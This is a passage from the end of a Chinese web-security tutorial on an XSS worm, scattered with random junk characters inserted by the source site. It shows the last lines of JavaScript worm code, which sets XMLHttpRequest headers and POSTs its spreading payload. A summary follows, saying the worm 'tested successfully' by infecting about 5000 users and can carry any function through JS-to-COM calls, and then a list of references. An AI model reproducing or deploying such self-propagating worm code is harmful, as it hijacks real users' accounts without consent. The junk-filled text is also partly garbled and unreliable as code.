xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
+ [$ w! q/ c/ T/ Z5 J
xmlHttpReq.setRequestHeader("content-length",post.length);

# c4 Q0 F5 W' D4 P. KxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
9 {4 y# B& v- ~! g( T6 U
xmlHttpReq.send(post);                 //把传播的信息 POST出去.
) g' |' U5 c6 i4 d, `
}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
' h! }1 ^" x. s0 k; H7 e
; L1 @/ I& n6 M8 p

+ {" ^& r9 ]1 \) z本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
( Y0 |$ |: x# w/ R) k0 p8 _. }7 B操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


; _% |1 N& Q; j* I




! U8 c/ r, d( n; M
本文引用文档资料:
1 R# d1 J) n* @) {
2 v) {% [: S+ f"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
& z" B7 T2 r( l1 R+ T  J7 \http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
' M% `" u$ o+ PXeye Team http://xeye.us/
+ q  i( e8 x' p. x7 D